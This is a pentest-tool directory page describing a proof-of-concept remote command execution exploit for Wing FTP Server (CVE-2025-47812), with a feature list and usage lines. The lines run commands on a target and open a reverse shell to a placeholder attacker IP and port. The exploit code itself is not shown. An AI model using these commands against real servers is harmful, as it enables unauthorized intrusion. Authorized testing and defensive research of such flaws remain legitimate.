Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WingFTP-CVE-2025-47812-illdeed — Remote Command Execution exploit for Wing FTP Server (CVE-2025-47812) | Kitploit
Tools/GitHubGitHub/ill-deed/wingftp-cve-2025-47812-illdeed
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubill-deed/wingftp-cve-2025-47812-illdeed

WingFTP-CVE-2025-47812-illdeed

Remote Command Execution exploit for Wing FTP Server (CVE-2025-47812)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 year agoNot yet reviewed

CVE-2025-47812 - Wing FTP Server RCE Exploit

This repository provides a proof-of-concept exploit for CVE-2025-47812, a remote command execution (RCE) vulnerability in Wing FTP Server. An attacker can inject and execute arbitrary Lua-based system commands by abusing the username parameter during authentication, resulting in full remote code execution.


📌 Exploit Features

  • 🔧 Remote execution of custom shell commands
  • 🧬 Multiple built-in reverse shell payloads (bash, Python, netcat, etc.)
  • 🪪 Automatic UID extraction from Set-Cookie
  • 📦 Logs successful UIDs to found_uids.txt
  • 🧪 Dry-run mode (no actual requests sent — test your input/output logic safely)
  • 🔁 Retry logic on network failure
  • 🧹 Cleaner payload formatting and readable output
  • ✅ Input validation for IPs, ports, and URLs
  • ⚙️ Command-line argument support for automated workflows

💻 Usage

Execute a simple shell command:

root@kitploit:~
python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

Trigger a reverse shell:

root@kitploit:~
python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

Dry-run mode (no requests will be sent):

root@kitploit:~
python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run

🔄 Changes Made to the Original Exploit


⚠️ Disclaimer

This project is intended for educational and authorized security testing only.
Do not use this tool against systems you do not own or have explicit permission to test.



Download Tool
Feature/ImprovementDescription
✅ Argument ParsingAdded argparse CLI support for non-interactive mode
🔐 Input ValidationEnsures valid URL/IP/port before attempting exploit
📦 Header RefactoringExtracted HTTP headers into a reusable function for consistency
📄 UID LoggingSaves successful UID tokens to found_uids.txt
🧪 Dry-Run ModeAllows safe testing without sending requests (--dry-run)
🕒 Timeout + RetriesAdds request timeout and automatic retry attempts on failure
🧼 Payload ReadabilityReformatted the Lua injection string for clarity and maintenance
📊 Structured OutputWrapped server responses and payload info with delimiters for easy reading
⚠️ Status Code ChecksWarns user if the target returns unexpected HTTP status codes
📝 Logging SystemReplaces print() with Python logging module for better verbosity control